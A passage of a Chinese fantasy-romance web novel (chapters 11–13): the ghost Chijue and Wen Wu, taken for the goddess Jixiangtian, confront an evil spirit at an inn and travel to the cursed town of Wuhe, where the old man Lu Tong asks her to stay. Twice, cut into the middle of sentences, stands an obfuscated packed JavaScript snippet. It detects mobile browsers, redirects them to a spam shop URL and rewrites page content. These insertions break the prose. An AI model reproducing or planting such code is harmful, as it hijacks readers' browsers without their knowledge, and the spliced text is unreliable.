‘罪魁祸首’感到一丝凉意窜上脊梁,他支支吾吾道着歉,然后继续刚才未尽的话:“他算完房钱特意问了我两个客房,当然我没给,然后那个人什么也没说就离开了,我当晚就留了个心眼,查房时特意去了你们这一层。” 店小二心虚地左右瞧了瞧,压低声音:“然后……我看见他蹲在角落处,偷听你们的对话,还露出一副很阴森的笑容!简直让我毛骨悚然!” 魑觉不以为然看向门外,他与闻舞的客房是相连的,对面还有一个单独客房,连廊处设有一个凹型空间,藏在闻舞客房对面。 昨夜闻舞是来到了他房间,背着身坐在地上,他虽开门了但也只是站在里头,根本没注意路的尽头,最后推闻舞回去那段路程,勉勉强强路过那块凹区。 换作以前,一点风吹草动以及监视都逃不过魑觉的眼睛,所以只能将问题推到一个明显的点。 那人十分谨慎,在他们谈话结束前逃走了。 “所以我们说的话,你都听见了?”魑觉捕捉到关键信息,冷笑道:”怪不得刚才找人沏茶时你挺勤快自荐的啊,原来是知晓我等身份。” 闻舞头皮一紧,她思考了下魑觉话里的逻辑,如果她没想错,现在的情况是因为昨晚她找鬼怪先生的缘故,导致身份暴露了? 那晚她提到了自己愿意成为吉祥天,还一直以鬼怪先生称魑觉。 所以……是因为自己那些话导致身份暴露的吗? 她闷闷垂下脑袋,低声咕哝道:“是我说漏嘴了……” 店小二点了点头,很快又疯狂摇头,大幅度摆着手,慌张说道:“我只听到吉祥天三个字眼,知道事情不简单就没听下去。” “而且……冥界谁还不知鬼怪近日与吉祥天走在一块,虽然我来这十年了,但这消息总是得打探的。” 魑觉烦躁地揉了揉太阳穴,事情变得棘手起来了,他忽的想起了什么,停下了动作,继续逼问道:“为何找吉祥天?” 闻舞听到有关自己的话题竖起了耳朵,凑近了几分。 店小二紧张地吞了吞口水,头一直保持着低过魑觉胸口的位置。 “从苍岭旅店往南一直走,会看到一处名为雾禾的小镇,那里长期受到诅咒,不少村民背井离乡,但有一点,虽小镇整体阴气极重,但置有神像的庙里无任何阴气,也就是说,有人在小镇下咒,但神能抵抗。” “所以我的请求是……”店小二停顿,认真盯着闻舞:“我需要吉祥天在镇中心停留七日,让雾禾小镇受到恩泽。” “这和你有何关联?你个恶灵还管小镇生死?” “当然!我、我我是为了报恩!十年前府君赐我灵体下界赎罪,而雾禾村民一开始就对我很热情,尽管我做多大的恶事都会替我摆平,这些是我在冥界感受不到的,我才知道我与以前不同了。” “真好笑,”魑觉道,“你是说你在冥界吃了这么多鬼,破坏这么多次轮回,然后来到人界区区十年就觉得与这里融为一体了?就觉得自己从良了?” “为何不是?”店小二丝毫没觉得有哪里不对。 “你不配。” 魑觉毫不犹豫回答,正觉得这个理由荒唐至极想驳回时,一旁沉默不语的闻舞在听完魑觉似自言自语的对话后,忽地开口: “不能。” 两人对这突然的声音感到奇怪,齐齐看去,店小二听到闻舞的回答后瞬间不冷静了,虽然她看不见听不见,但他依旧扯着嗓子喊道: “这对你没有伤害!你只需要待七日就可以了!我七日后就完成府君的赎罪任务,就能回雾禾以灵体自焚,就能保护小镇永生永世!这到底有什么问题!” 闻舞没有看着魑觉,盯着木质地板,眼神呆滞,说出来的话不像她自己能控制的,而声音还在继续:“做错事不能被原谅,道歉也不能弥补错误。” “虽然不知你与鬼怪先生具体聊了什么,可我猜,可能是你想要救某个小镇,而那需要我,不,吉祥天的庇护。” 魑觉默默盯着她,时刻关注她脸上的异样。 闻舞表情凝重,眉毛紧皱着,对这个话题极其严肃,“你可以因为受到帮助而选择援助,但如鬼怪先生所言,你是恶灵,做了如此多坏事,想以善意拯救村子是好事,可为什么要觉得以前的坏事一笔勾销了?” “一开始就不该有这个想法的,一开始就不该做坏事的,做了就要承受一辈子反噬的代价,只是做了十年的好人,你还是恶灵。” 闻舞说完这一长串,侧着身子继续吃糕点。 店小二僵在原地,犹如在整理这些话包含的信息,那表情有不服气,有埋怨,也有愤怒,但更多的人对自己感到可悲。 “不是我选的……我天生就是恶灵……不吃鬼怎么能活下去……?” 魑觉移开专注于闻舞吃饭的目光,回答店小二的疑惑:“做恶灵时当不明白,当人类时活不明白,所以你才会有这个可笑的问题啊。” 闻舞喝水时转了转眼珠子,而后轻轻扯了魑觉的衣襟,“它要我干什么?” 那呼之欲出的‘没什么’被魑觉狠狠憋回肚子里,只因他看见闻舞那天真无邪,单纯无害的眼神,根本无法招架。 他扯回衣襟,道:“要你去雾禾小镇当门神镇邪。” “理由呢?” “觉得你是吉祥天,应该这么做,”魑觉停顿了会,脑袋微微偏向右边,言语冰冷:“或者是觉得说出了什么有用的消息,能与之交换。” 店小二的头低得快着地了,他本来就多大胜算能说服魑觉,这下好了,莫名惹怒了这位大人物。 他认命般闭上双眼,踌躇了许久,最后道:“那我先退下了,很抱歉打扰大人与吉祥天。” 店小二捡起被魑觉踢得到处都是的茶杯碎片,就算被割破手指也没再吭声,灰溜溜收拾着残局离开客房。 “它离开了吗?” 魑觉恹恹地看了眼门外,“嗯。” “那……” 闻舞欲言又止,眼神不断地上下瞟。 “吃饱了?”魑觉瞅了瞅纸袋里的食物,心底一沉,“这不是还没吃多少……” “魑觉大人。” 魑觉搭在纸袋上抖动食物的动作突然用力,他偏过头,对这个称呼有些意外。 “为了防止再有这个情况,我以后就叫你魑觉大人吧?” “……” “还是说改成魑觉先生?大人觉得呢?” 魑觉死死盯着那张毫无血色的脸,拼命地想搞 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“我本身也不喜那个方法。” “那便不试了。”闻舞有点泄气,情绪全摊在脸上。 “……” “我以后偷偷称你魑觉大人。” 说完,闻舞迅速将上半身埋在被褥里,怕露出缝隙用枕头盖住头,然后在里头开始嘀嘀咕咕个不停,节奏把握得很规律,四个字又四个字的往外蹦。 “……” “喂。” 魑觉叫她,她没敢应。 “哈啊……” “闻舞,你不要后悔。” 被子里的人突然没了动静,闻舞谨慎地露出一只眼睛,观察魑觉的表情,确定没有生气后,慢吞吞从里头出来。 “恶灵是天生的鬼,常理来说只要有灵体就能被人类看见,刚才也说了,你有些特殊,不过只要注入鬼的气息,盖过你体内的神力,就能看见恶灵。” “要怎么做?” 魑觉听到肯定的指令,卸下了心中某个负担,他弯下腰,抬手拨开闻舞鬓边的碎发。 闻舞被这只温暖的手突如其来的触碰不禁哆嗦了一下。 还未来得及弄清魑觉的目的,他的声音再度压下来:“晚了。” 一丝冰凉的触感贴上她的嘴唇,焦躁的内心不由得冷静下来。 闻舞大脑一片空白,直勾勾看着眼前被放大的脸,甚至忘记了呼吸。 魑觉伸手捏住她的脸颊附身吻下来,轻轻撬开闻舞的唇瓣,往里面渡气。 闻舞原本因紧张与震惊而紧闭的嘴唇突然张开,炙热的呼吸趁机倾泻而出。 闻舞清晰感受到身体某处发生了变化,但她已无心思考,满脑子被这个温柔的吻占据。 专注于注入气息的魑觉突然察觉头上有一道炽热的视线,他没停下嘴里的动作,只是懒洋洋抬起眼。 与满脸染上红晕的闻舞对上目光。 他将手移到闻舞额头处,遮盖住她的视线。 许是感知到闻舞全身肌肉僵硬,呼吸声断断续续,魑觉短暂地离开了她的唇。 刚一松开,闻舞微微泛红的嘴唇不停抖动着,因被魑觉的手挡住,她视力受限,只是用力攥紧床单。 魑觉对这个反应有些吃惊,他默默将攥着床单指尖泛白的手指拉开,随后半信半疑问道:“第一次接吻?” 11. 白发带 魑觉往后退了退,擦拭没有粘上任何东西的嘴唇。 片刻的分离让闻舞从大脑宕机状态慢慢变回正常。 她即刻捂住嘴巴,双眼瞪大,满怀震惊盯着魑觉。 “我……您……!” 这个行为超出了她的理解范围,擅长自说自话,自我洗脑式理解的闻舞完全失了策。 可魑觉却显得无比冷静。 “跟我来,它没走远。” 他没有在意那个吻,拉着闻舞从屋里走到连廊,连廊处下方是一层接待厅,入住人流量在早晨迎来高峰,熙熙攘攘。 两人站在连廊正中央,观望下方的人群。 在巡视大厅一圈的魑觉终于在某个角落找到猎物,他慵懒地将双手靠在连廊木栏上,懒洋洋开口: “接待门口左侧那个粗衣头巾人类,便是方才与我们谈话的恶灵。” 闻舞跟随着他的目光,往外伸出脖子一看,店小二的身影终于进入她的眼里。 “恶灵……”闻舞自言自语,“原来拥有灵体和人类毫无二致,是很可怕的存在呢。” 魑觉扭头,声音依旧平淡:“你觉得他很可怕?” “嗯,会吃鬼,还会破坏轮回,很可怕。” “这有什么可怕。”魑觉笑笑,“没我十分之一,没什么害怕的,你该害怕且忌惮的鬼应该是我,冥界内无一鬼能动得了我。” 话音刚落,魑觉立马眯了眯眼睛,闻舞习惯了这个眼神变化,这个表明他生气了。 “除了某些弄小动作的卑鄙之徒。” “鬼怪先生也是一样呢。” 闻舞迅速接下他的话。 魑觉蹙了蹙眉,等待闻舞把话说完。 只见闻舞转身背对他,就像是在对另一个人对话:“您一开始说我总觉得自己的死因是因为外界导致,觉得我的生死观扭曲又危险,那么鬼怪先生呢?” “我?我又如何?” “您为何执意要对我强调您是极恶之徒呢?明明我多次说您与传闻不同,您好像从来不信,那么鬼怪先生这个自虐的想法是否也是扭曲又危险呢?” 魑觉怔在原地,眉间的褶皱越来越深,疯狂想弄清这话的由头与含义。 而诉说者没有给予理解的义务。 闻舞停顿好一会儿才继续说下去:“您想改变我,我接受,那么改变您自虐想法的我,是否也该被接受?” 魑觉如梦初醒,他从喉间挤出一道冷笑,目光极其阴森,却略带乐趣与兴奋。 “哈啊,闻舞,你真的让我有点兴趣了,人类里居然会有这么稀奇的物种啊。” “物种……” 闻舞又开始消化魑觉这句难懂的话。 正对着旅馆大门,清风拂来,它应在旅馆各个角落都留下踪迹,但风自带私心,它亲吻了闻舞的脸颊便再没离开。 闻舞眉边的发丝随风而动,洒在肩处的碎发有规律地飘动,这风恰到好处,本来因思考难懂言语郁闷的她此刻格外舒畅。 魑觉静静地看着她,陷入思考的闻舞有个小举动,她会下意识动嘴巴轻声细语,时不时会皱眉,带动睫毛如蝶般抖动。 明明已经将她面貌记熟了,魑觉却还是觉得她变化无常,让人难以捉摸。 为此,他需要留一个记号。 魑觉从衣襟内口袋拿出黑条带,他将内衬翻过来,露出丝带底白金条的真面目。 他走进闻舞,在她还在为‘神奇物种’而苦思冥想时,他的手已扯下原本束在闻舞发中的黑条带。 闻舞一怔,那熟悉的体香扑面而来,她身体瞬间僵硬。 魑觉这次没有做肌肤之亲,只是在她头发停留了许久便离开了。 他站直身体,两人得以对上视线,魑觉直勾勾盯着,似乎是让她自行发现。 闻舞半信半疑往头发摸了摸,毫无异样,只是头发被束紧了些。 当移动到某个搭接处,闻舞的手猝然停下,她来回细细感受发带的触感与绑法。 她呆滞地眨了眨眼睛。 这个和她先前用的发带不太一样了。 等等,难道…… 闻舞猛然抬眸,魑觉正一副饶有兴致的表情盯着她的反应。 闻舞将头发轻拉至一侧,清楚地看见一道闪亮的白色留在头发中,格格不入。 她见状不解地询问:“这是何意?” 魑觉言简意赅道:“污点。” “……什么?” “乌黑透亮的头发中,终于出现了一个污点。”魑觉道,“是我给你留下的污点。” “闻舞,要想改变我,就得和我同流合污啊。” 他眼里含笑,对自己选中的发带十分满意。 而闻舞只是自顾自地乱拨动发带。 “不许扯掉。”魑觉冷漠补充道。 闻舞默默将其放下,“不扯。” “恶灵也看了,饭也吃了,也休息好了,没别的需要了吧大小姐?” 闻舞僵硬地摆动脑袋。 “出发,”魑觉走向左边阶梯,放慢步伐,“我们可不是周游世界及吃喝玩乐。” “要去何处?”闻舞捡起地上的黑发带,思考须臾还是选择藏在身上。 “极阴之地,” “说不定能发现更有趣的。” “嗯。” 闻舞低着头应道,手再次放在唇边,回味起那道奇怪的触感,那是她少有的与世界隔绝联系的时刻。 就好像下一秒她就要融化死掉了。 “麻麻的……” 走在前面的魑觉听见声音停下脚步,看了她一眼,以为闻舞又有事要完成,暴躁与烦闷袭上心头,没耐心道:“什么麻麻的?” 意识到不小心说出口的闻舞无措地捂住嘴巴,支支吾吾道:“没、没麻麻的,刚才的触碰我还在思考……思考这个触感到底是什么呢……?” 后半声愈发变低,宛如在对她自己讲话。 魑觉扬起眉毛,也开始思考她口中‘触感’为何物,但很快,他莫名记起半盏茶前两人干了什么。 他察觉闻舞的胡思乱想,遂故作挑逗道:“如果没看清恶灵,我们可以再试一次。” “!!” 闻舞慌忙跟上魑觉,甚至超过了他的速度。 “不必了,我已看得一清二楚。” “啊,真可惜。” …… 两人从苍岭旅馆往南边走去,路上经过郁郁葱葱的森林,那里地势复杂,树枝长得畸形,盘生的倒刺让闻舞几次被割伤。 不过好在魑觉有治愈的能力,虽然一路上磕磕绊绊,在两人穿过森林后行约十公里,终于在一处人烟稀少的小村庄停下脚步。 闻舞好奇地左顾右看,没有村民,没有敲锣声,更没有小孩嬉闹声,一切都显得那么凄凉平静。 “啧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533365|203575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,撞上了。” “嗯?”闻舞抬头,寻思自己也没撞到人,便下意识开口问:“附近有恶灵吗?为何我没看见?” 魑觉冷漠地低下脑袋,无奈叹口气,伸手将闻舞的脸颊往上抬,“名字。” 闻舞视线被强行盯到某处,直到看清牌匾上村庄的名字,惊呼一声:“这个是……!” 牌匾清晰写着:雾禾小镇。 是旅馆那位恶灵提到过的小镇! 闻舞好奇心加重,往里头走了几步,凑近一看,那被风扬起的碎窗纸与灰尘在空中飘忽不定,肆意乱舞,呜呜声致周围埋上一层阴森感,而枯枝残叶成了这舞中最忠诚的观众。 这根本不像是有人居住的村庄。 突然,不知是哪个方向传来的一阵铃铛声,细碎的声响仿佛要击散这片萧瑟之地所有不祥之兆。 闻舞想起了什么,看向身边人的胯骨处。 ‘身边人’被盯得浑身不自在,他迅速用手遮住胯骨,闻舞疑惑抬头,魑觉正无言盯着她,道:“不是我的铃。” “鬼怪先生的铃声是什么样的?” “你不是听过?” “嗯……好像是?可我印象中它的音色还蛮多的,是会随您心情改变吗?” “不会,”魑觉目视前方,冷冷道:“来了。” 那个真正持铃的家伙从远处走来,铃声越来越响亮。 闻舞定睛一看,那人步履沉重,手持着灯笼,仔细看那灯笼里置有铃铛,原来声音是从这而来。 那人在闻舞面前停下,突然笑出声:“是您啊,哎呀真巧。” 闻舞呆呆地眨眨眼,突然顿悟:“您是旅馆旁边戏院的老爷爷?!” 她似乎有点兴奋,迫不及待地与魑觉分享这份心情:“您还记得他吗?与我们讲故事的那位。” 魑觉点点头,默默将闻舞拉向自己,不怀好意地盯着老者。 老者笑呵呵道:“如果小姐还对其他戏感兴趣,欢迎找我啊。” “当然。” “你怎会在这?” 魑觉突然开口,言语并不像闻舞那般尊敬。 老者噎住,随后头往后一仰,笑道:“这是我的家乡啊,该问也是我问你们为什么来这偏僻小镇吧?游玩吗?” “我们路过,这里的村民都去何处了呢?”闻舞问。 老者思索了会,叹了一口气:“雾禾啊……受了巨大的诅咒,都说今年会好点了,都说今年会遇到幸运神垂怜,呵,哪有什么幸运神,倒不如像我这般,举着驱鬼铃走遍村子,都比祈求神降临有用呢。” “幸运神……” 闻舞想到了自己,吉祥天是幸运神吗?那么老者口中的神会是她吗?她越想越奇怪,但说不出哪里奇怪。 在她疯狂想找一个自我洗脑式答案时,魑觉开口了: “哈啊,还以为你要说什么呢。” “我没兴趣陪你兜圈子。” “既然知晓我二人身份,那我便明说了,无论你派那个袭击我们的长甲鬼想做什么,吃鬼也好,杀人也罢,我不感兴趣。” 灯笼里的铃铛突然不响了,转而是磨损破裂的声音,与此同时,新的铃铛声响起。 顿时,闻舞全身起了一层鸡皮疙瘩,汗毛竖起。 她记起来了,魑觉专属骨铃的声音。 那冰冷的声音再次落下: “不要动吉祥天。” 12. 人格分裂 老者脸上的笑容骤然消散,眼底里的温柔逐渐褪去,神色瞬间变得淡漠冰冷。 他放下灯笼,语气也随意了不少:“魑觉大人敏锐力果然很强啊。” “是你根本没想瞒我,”魑觉道,“在戏院对我气息反应如此之大,还以为你是要与我宣战呢。” “哈哈哈哈哈。” “好吧好吧,我这个老家伙也不坑蒙拐骗了,直说的话,我知晓你们此次前来目的,而我的目的就是想要你。” 老者指向闻舞,眼尾上挑,目光毫不客气地扫视闻舞全身,“小镇需要神来庇佑,作为回报,小姐可对我提任何要求,鹿某必竭尽所能做到。” “鹿某?”闻舞小声询问。 “鹿仝,小姐如果不方便,可以直称老先生。” “什么鹿仝什么老先生,”魑觉插足在两人中间,刻意挡住两人视线,面朝鹿仝,道:“你挺狂?冥界的人还不知晓我以何目的下界?” “一堆上赶着争抢吉祥天,倒不如一开始就让你们做?” 鹿仝极其冷静,“魑觉大人无非就是怕闻舞小姐不按命数死亡,导致您赎罪失败,才刻意制止所有能害她的人或鬼接近。” “唉,魑觉大人是不是忽略了最重要的一点?” 鹿仝瞥了眼闻舞,继续道:“不干涉因果,按照命数正常死亡,安慰转世,您连第一条都没遵守啊。” “据我所知,吉祥天命格特殊,您也与转世体相遇,可掌管生死簿的黑白无常却迟迟没收到关于吉祥天的命数,这是否说明……” 鹿仝眼神变得犀利,表情凝重:“这是否说明,魑觉大人,您,会不会在无意中阻碍了命数形成呢?” “你什么意……” “毕竟您一直插足这位小姐与旁人结交关系,唉,府君让您保护,没让您越界啊。”鹿仝迅速打断。 “……” 闻舞清楚看见魑觉紧握拳头的手,她努力思考他生气的缘由,思来想去,也就一个答案:鬼怪先生讨厌她。 因为她,魑觉被迫下界,因为她,限制魑觉自由,这次依旧是因为她,与他们口中‘府君’作对。 闻舞不喜欢这种毫无缘由的压力,所以她对鹿仝说:“那该如何走回正轨呢?” 魑觉快速转身,微微抬高声音:“你又在想什么?” 闻舞没理会,直勾勾盯着鹿仝。 鹿仝听闻一惊,随后耸耸肩:“我也不清楚,不过……只要您按照内心所想,说不定命运能指引您呢。” “那我便留在这吧。” “……” 闻舞这才看向魑觉,“鬼怪先生的任务千万别耽搁,我会一直待这的。” “……为何?” “老先生需要我,我很乐意帮忙。” “……” 魑觉死死盯着闻舞,闻舞态度坚决,眼中无一丝犹豫与害怕。 半晌,闻舞也没有动摇,说出口的话也没有收回,立场坚定。 一切又回到了起始点。 魑觉冷笑一声,讽刺道:“那随你。” 见现场气氛不对,鹿仝手忙脚乱拿起灯笼,里面铃铛声再度响起,他目光穿梭在两人之间:“那我给你们安排一间住处?” 闻舞微微点头鞠躬:“多谢。” …… 鹿仝准备了一间不大不小的客舍,相比于苍岭旅馆,这里家具陈旧了些,墙体明显掉色,碎屑洒落在边缘,抬头一看,蜘蛛网遍布角落。 “不好意思啊小姐……”鹿仝显然也觉得这里很简陋,他下意识擦了擦鼻子:“这里是最好的客舍了,与华城自然是比不上的。” 闻舞摇摇头,放下戒心坐在床边,“停留几日能住上这等条件,很感谢老先生。” 鹿仝笑了笑:“您喜欢就好,哎对啦,小姐待会没什么事吧?要不要和我去听戏呢?” 闻舞来了兴致,忙得点头:“好。” “那我先去前头等您,待会见。” “好。” 鹿仝说他有个习惯,听戏前得喝一壶酒酝酿感情,可闻舞不喜那个味道,便晚上再跟去听戏。 清晨入村到黄昏时刻,自从魑觉扔下那句‘那随你’后,一整天都没出现在闻舞面前。 “做任务去了?” 闻舞不禁开始胡思乱想,用手指板着数,计算他离开的时长,可越算越奇怪,她耸拉着脑袋,低声咕哝道:“是生气了吗……” 她蜷起膝盖,手臂环着膝盖,而后将脑袋枕在手臂旁,自言自语地说些难懂言语。 “鬼相比于人类更爱生气。” “鬼怪先生生气会有铃铛声。” “我生气是不是也会有声音?”闻舞迅速摸了摸腰间,那空荡荡的地方让她无比泄气:“不是鬼,没有铃。” 她又将脑袋埋在怀里,“这里的戏院不提供酒类,不然鬼怪先生就会来了。” “哪儿有酒?” 闻舞僵住,猛地一抬头。 一天即将过去,魑觉终于出现。 他应了一声,抬头按揉酸痛的脖颈与肩膀,时不时瞟身下女人一眼:“你一天就光待在屋里头?” 闻舞回过神,回答有些慢半拍:“待会在附近散步消消食。” “哦。” 熟悉的冷漠态度让闻舞不知所措,她声音弱了下来,回答魑觉是一个问题:“老先生说这里有戏院,我待会会与他一同听戏。” “嗯。” 简短且无感情的对话戛然而止,魑觉似乎并不是特意来找闻舞,他转了屋内一圈,什么也没拿,又转向屋外。 刚踏出门栏半步,想起了什么,他咂了咂嘴,随即扭头。 “鹿仝说的话,不全是真。” 闻舞错愕,眨了眨眼睛。 魑觉便补充了一句:“我并非是因要赎罪才带你出府。” “虽然理由大差不差,但从他口中说出来,意思就变了味。” 闻舞半知不解地点头:“好的。” “好什么好?” “啊?”闻舞这下彻底不懂了。 魑觉颇为无奈,耐下性子解释道:“如果不说,依你的理解与想象力,大抵会认为我是因为讨厌你才这么做。” “我不讨厌你。”他强调了这句。 空气突然安静许久,身下的女人依旧一声不吭,脸上的表情毫无起伏,像个木偶般呆坐着,这让魑觉有些担忧。 “没懂?” “……” “哈啊,说说看,哪块听不懂?” “……” 魑觉走近,低沉的声音离她越来越近,“还是说,遇到事了?嗯闻舞?” 强烈的野草味迅速充斥整个客舍,闻舞猛然从飘远的思绪中拉回神,她慌忙答复道:“听懂了。” “……?” 魑觉慢悠悠蹲下身,凑近她,仔细揣摩闻舞脸上更细微的表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535981|203575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情。 闻舞条件反射地往后仰了一下。 “鬼怪……” “不开心?”他打断道。 闻舞又眨了眨眼睛,随即摇摇头,平静道:“鬼怪先生真的不讨厌我吗?” “???” “因为我,您也很为难吧,我终于明白您当时为何对我死亡感兴趣,如果我不按你们口中特定的‘命数’离世,鬼怪先生就会受到训斥吗?” 魑觉不语,这加深了闻舞的怀疑,她又低下头,“真的是这样呢……” “出府果真是个很错的选择呢,你与老先生谈及的吉祥天命数迟迟没出现,是不是就是因为我出府了呢?” “……” 闻舞扬起微笑,明明已尝试很多遍的行为,这次做起来却格外陌生,她嘴角一抽一抽地,道: “出府会让身边人遭殃,被说中了。” 她将头埋入膝盖深处,不敢看魑觉的表情,铁定是知道真相后恼羞成怒吧,一定会杀了她的。 等等…… 杀了她? 闻舞眼神变得空洞,被这个下意识冒出的想法吓得全身冒冷汗。 有人……要害她? 她拼命摇着头,捶打着脑袋,可这个想法却死死刻在她脑海里。 不会有人害我的,不会有人害我的,绝对不会有人害我,是我想错了,我没有这么想。 闻舞不停地说这些话,心里想的话也不知不觉冒出。 魑觉半跪在她旁边,静静地聆听她的胡言乱语,期间他多次插嘴、动手,但都无济于事。 闻舞陷进了自己编织的世界。 对她来说,除了她自己,除了她的声音,其他全都是虚假的。 他这次无法视而不见。 “闻舞。” “闻舞啊。” “闻舞啊……” 魑觉抬起手,覆在她头顶,拍了两下,手掌下的女人突然没了动静,这个动作似乎起了作用。 但魑觉知道没这么简单。 客舍里窗户敞开,夜里的冷空气肆意窜进屋内,伴随着晚风呼啸不止,屋内所有东西都沾染了这片温度,唯独一处。 魑觉细心将闻舞捂住她耳朵的手放下,整理着她杂乱的头发,边抚摸边说话:“你说的没错,没有人害你,出府就会死。” “……” “我不会害你,所以你出府不会死,那可是我带你出去的。” “…………” 闻舞完全停下了,如杂乱无序的思绪开始自动抚平,颤抖的身体渐渐恢复,搭在魑觉手掌的手也能动弹了,她调整呼吸,一呼一吸。 魑觉见状放下抚摸发丝的手,可握住闻舞的手却用了力。 闻舞开始能正常呼吸,慢慢地张了嘴,说了一句完整的话:“我刚才是不是讲错话了?” “没有,”他决然答道:“是我说错了。” “……什么?” 魑觉抬眸,毫无温度的眼神再次冲击闻舞眼帘,他简明道:“闻舞,你身体存在另一个人。” “她无时无刻不在侵蚀你的思想,你的行动,由于时间隔太久远,她完全融入了你的身体。” 闻舞屏住了呼吸,大脑快速整理这句话暗藏的含义。 魑觉没有给她做出反应的时间,自顾自地讲了下去: “为此,你需要做出反抗。” “不是与你家族反抗,是与你自己。” 13. 心魔 两人相视而坐,男人眸中冰冷淡漠,言语凌厉不和,女人眼里泪光闪闪,声音断断续续。 闻舞缓缓抬起手,动作慢得略带迟疑,指尖触到湿意的那一刻,她怔住了,茫然又疑惑。 “这又是因何缘故流泪……?”她对身体的异常显得极为抵触,眉毛扭成一团。 “厌恶吗?” 魑觉见状问道。 闻舞迟滞地摇了摇头。 “那就别想了,答案不会因思考时间飞奔到你面前,不是说要听戏?现在去还能赶上么?” “!” 闻舞嗖一声站起身,用手背快速擦干泪水,似乎也意识到戏曲已开场,她急得手足无措,嘟囔着不能让人等她太长时间。 “噗嗤。” 魑觉见她露出稀少的面孔笑出了声,不紧不慢地托着腮看她在客舍各个角落奔波。 闻舞翻箱倒柜,找出了纸与墨,挟于腋间,冲出了客舍。 然后不过多久,她又折返回来。 “鬼怪先生消气了吗?” 魑觉本在喝茶的手顿住,他挑了挑眉,“才一霎功夫,我又生气了?” “那白天时您都在做任务吗?” “嗯。” 闻舞这才放心离开,每一步都带着些许轻盈,背上的纸筒因幅度左右摇晃着,任谁看都知道这个背纸张的女人心情格外愉快。 “……” 魑觉默默抿了口茶,然后一饮而尽,茶杯见底,他摩挲了杯壁周围,面无表情盯着上面的花纹,突然,倒扣在桌上。 “可以出来了。” 他对着空气某处说道。 下一刻,位于魑觉左侧的空位出现一团黑影,黑影被撕开一道口子,里面的东西走出来,‘那东西’自然而然坐在魑觉身旁。 黑无常盯着茶水,问:“铁观音?” “白开水。”魑觉冷声道。 黑无常移开目光,低声叹息一声,便从怀里拿出卷轴,在正中央摊开,悬浮于空中,将里面的内容公之于众。 “喏,闻舞的命数。” 魑觉捏紧茶杯,懒散地将里头的水晃来晃去,眼睫垂落,读了起来:“闻府千金,被鬼缠身的短命之徒,擅刺绣,琴棋书画样样精通,啊……” 他停顿了会,对黑无常的能力表示质疑:“这是命薄还是自传?” 黑无常环胸端正地站着,一动不动,漠然道:“你从不看命薄,现在反来质疑命薄真假?” 黑无常在空中画了几个圈,命薄出现了变动,一些隐藏的信息随之暴露。 “如果他真是吉祥天,那么这是怎么回事?魑觉,吉祥天死因被刻意隐藏了。” 隐藏的信息中,闻舞的家世与过往被毫无保留地展示,唯独死因不明。 “你问我?我是阴差么?难不成死因不明的特殊情况你们没遇到过?” 黑无常忍住翻白眼的举动,真打起来他根本不是魑觉的对手,只好默默补充信息:“从未有过这个情况,今日过后我会告知府君,你等消息吧。” 魑觉似乎没放在心上,以往遇到无用的信息扰乱他时间时,他定会大闹一顿,杀人摄魂不在话下。 可今日怎么有些不同? 黑无常想不通,他顺着魑觉的目光,确认他的确是在看命薄,还……尤其认真。 魑觉在空中也划了几个红圈,同时也在嘴里念叨这些被圈出来的词语,仿佛要记牢它们。 黑无常对这个异常的举动倍感困惑,那些被魑觉画出来的字都是无用的信息,至少,对探究吉祥天死因毫无用处。 更像是……对某个人的了解。 “为何要圈这些?”黑无常还是问出口。 魑觉的手还在施法,简明回他:“找漏洞。” “这些都是吉祥天生平信息吧?” “看似平常的经历,往往能推出她的死因。” “……那很有推理能力了。” 魑觉施法的动作倏地停住,红圈在某一块画得越来越大,快要把那句话活生生扣下来。 “找到了。” 黑无常盯着那句话,更加不解了:“这究竟与死因有何关联……” - 闻舞惊呆了。 雾禾小镇的戏院比苍岭旅馆还要宽敞,近乎大了五倍,不仅如此,里头的构造并没有落灰,仍保留崭新。 她感到些许不解,明明没有人观看,为何要建造如此大空间呢? 在戏台正前方,她找到了鹿仝。 鹿仝刚拿起酒壶,见到闻舞忙得放下,帮她拉开椅子,笑呵呵道:“差点,戏快开场了。” 闻舞落座,环绕四周,道:“这儿没有人,怎会有戏?” 鹿仝喝了口酒润喉,平静答道:“因为这是鬼的戏台啊。” “??” “哈哈哈哈,干嘛这么惊讶,从小姐您走进戏院,表情一直很难以置信呢,啊,还以为魑觉大人会和您说明呢,看来没有?” “没……” “为鬼搭建的戏台,看戏的自然就是鬼了,不要觉得很奇怪,整个戏院……不,整个雾禾小镇,就是鬼生活的地方。” 鹿仝又倒了一杯酒,递给闻舞,闻舞连忙摆手拒绝,他又递回来自己喝下,漫不经心补充道:“除我以外,雾禾小镇没有人类,现在闻舞小姐是第二个来这里的人类了。” “……可是我看不见它们。” “嗯?”鹿仝诧异,他思索了会,立马打了个响指:“吉祥天嘛,看不见恶灵很正常,这是一种无形的保护吧。” “恶灵??现在这里坐的都是恶灵吗?” 鹿仝点了点头,他象征性看了四周,道:“坐满了呢。” 闻舞缩了缩脖子,弱弱道:“那岂不是他们能看见我,我无法看见它们。” “哈哈哈哈,看见又如何?他们无法动你,况且来人界的恶灵都是赎罪,不是捣乱,他们可是受了替心咒呢。” “而且嘛……” 鹿仝缓慢摇动扇子,目视前方:“魑觉大人不会让自己的东西被觊觎。” “鬼怪先生的东西……” 闻舞自言自语道,一如往常思考话中之意。 “说起来,老先生既然是人类,为何会与鬼走如此近呢?” 